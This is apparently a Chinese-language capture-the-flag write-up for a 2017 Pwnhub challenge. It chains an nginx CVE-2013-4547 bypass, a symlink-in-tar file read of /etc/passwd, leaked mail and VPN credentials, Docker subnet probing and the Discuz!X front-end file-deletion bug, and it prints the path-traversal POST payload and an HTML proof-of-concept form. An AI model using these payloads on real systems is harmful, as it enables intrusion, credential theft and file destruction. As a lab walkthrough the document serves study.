Pwnhub 2013那年

国庆不好好玩,去通宵撸题?


题目

题目地址:54.223.177.152:80
更新
2017.10.03 17:50:16 搞 Discuz 不是目的,谁说鸡肋就没用,看 Discuz 送助攻
2017.10.03 11:24:40 想办法把它变成任意文件读取,但 Flag 不在这儿 ,当作一次真实渗透玩吧!
2017.10.02 15:45:49 Nginx 虽然有过很多问题,但是它是个好 server

解题大致流程

对我来说,遇到的几个关键点是
CVE-2013-4547 + 软链接任意读文件 + 信息泄漏 (+ VPN连接) + docker默认网段探测 + Discuz!X前台任意文件删除漏洞

CVE-2013-4547

打开题目地址,是一个nginx成功运行的页面
先拿nmap扫一下发现只有22和80端口开放
而且ssh有限制
拿扫描器扫扫一发发现了.DS_Store文件

其中发现了几个目录

1
2
3
4
5
admin/
config/
includes/
pwnhub/
upload / #这里upload后面有个空格

其中有用的目录为pwnhub/ 显示403
结合cve-2013-4547读pwmhub/目录下的文件

发现新目录,进入

软链接任意读文件


盲测的时候发现传啥都没什么回显
后来又扫出.DS_Store文件

发现当前目录下有

1
2
index.php
untar.py

直接下载untar.py查看分析

有跨目录的过滤,而且只判断了第一个文件或者目录就return了
条件只需要文件名或目录结尾为.cfg就可以,但是只有传文件的时候会有回显
随便写入123进文件1.cfg然后打包为tar上传,发现有了回显,为123


是个文件读取功能
然后利用软链接方式任意文件读取

1
ln -s /etc/passwd 1.cfg


信息泄漏

读的时候发现是个docker容器
关键信息在/etc/crontab

cron_run.sh内容是

1
2
#\!/bin/bash
cd /home/jdoajdoiq/jdijiqjwi/jiqji12i3198uax192/run/ && python run.py

读取run.py

再从mail_send.py读取了邮箱的账号密码
从邮箱中获取了VPN的信息

(我用mac连L2TP/IPsec PSK搞了半天…感觉学校网有毒

docker默认网段探测

docker启动时默认使用172.17.x.x作为容器的ip地址
很友好的是目标ip在172.17.0.3
存在index.php

这里无论怎么构造都会回显’Oh,Hacked ?’,应该是safe.php的原因
nmap扫发现开放了80,3306和8090端口

直接访问8090端口发现是Discuz! X3.2

Discuz!X前台任意文件删除漏洞

想起前几天才出的Discuz!X前台任意文件删除漏洞
然后结合index.php里面的include ‘safe.php’;
直接删掉safe.php就好
首先注册用户,然后向

1
http://172.17.0.3:8090/home.php?mod=spacecp&ac=profile&op=base

post数据

1
birthprovince=../../../../../../../../../../../../usr/share/nginx/html/safe.php&profilesubmit=1&formhash=b8f4701a

formhash为用户hash
(CentOs nginx 根目录在/usr/share/nginx/html/)
然后向

1
http://172.17.0.3:8090/home.php?mod=spacecp&ac=profile&op=base

上传文件
poc:

1
2
3
4
5
6
<form action="http://172.17.0.3:8090/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovince]=aaaaaa" method="POST" enctype="multipart/form-data">
<input type="file" name="birthprovince" id="file" />
<input type="text" name="formhash" value="b8f4701a"/></p>
<input type="text" name="profilesubmit" value="1"/></p>
<input type="submit" value="Submit" />
</from>

随便上传个文件即可完成safe.php文件删除(要改referer不然会报错显示来路不正确之类的

get flag

然后访问http://172.17.0.3/index.php?passwd=jiajiajiajiajia

文章目录
  1. 1. 题目
  2. 2. 解题大致流程
    1. 2.1. CVE-2013-4547
    2. 2.2. 软链接任意读文件
    3. 2.3. 信息泄漏
    4. 2.4. docker默认网段探测
    5. 2.5. Discuz!X前台任意文件删除漏洞
    6. 2.6. get flag